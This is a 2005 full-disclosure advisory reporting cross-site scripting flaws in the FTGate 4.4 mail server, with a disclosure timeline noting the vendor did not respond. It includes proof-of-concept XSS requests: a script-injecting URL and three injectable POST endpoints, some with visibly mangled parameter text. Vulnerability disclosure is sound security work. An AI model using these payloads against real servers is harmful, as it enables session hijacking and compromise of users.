-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
ACS Security Assessment Advisory - XSS Scripting Vulnerability
ID: ACSSEC-2005-11-25 - 0x3
Class: Cross-Site-Scripting (XSS)
Package: FTGate 4.4 [Build 4.4.000 Oct 26 2005]
Build: Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 20, 2005
Remote: Yes
Severity: Low
Credit: Tim Shelton <[EMAIL PROTECTED]>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
-=[ Background
FTGate4 is a powerful Windows(TM) communication suite that combines
exceptional mail handling facilities with comprehensive Groupware
functionality. Its security and collaboration features were developed
in conjunction with leading ISP's and define a new era in mail server
performance.
-=[ Technical Description
FTGate 4.4 [Build 4.4.000 Oct 26 2005] is vulnerable to specially
crafted XSS requests. A remote attacker could trick a user into
viewing a vulnerable page which could then lead to remote compromise.
-=[ Proof of Concepts
http://127.0.0.1:8089/index.fts?href="">"><script>alert('XSS-magic-string');</script>
POST /domains/index.fts
href="" INJECTION HERE]¶m2=&find=*&elements=10&aliases=1&data0=19
POST /config/licence.fts href="" INJECTION HERE]¶m2=®=
POST /config/systemacl.fts href="" INJECTION HERE]&redirect=&data1=32&address=
-=[ Solution
No remedy available as of December 2005.
-=[ Credits
Vulnerability originally reported by Tim Shelton
-=[ ChangeLog
2005-11-25 : Original Advisory
2005-12-01 : Notified Vendor
2005-12-20 : No response from vendor, disclosing full information.
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
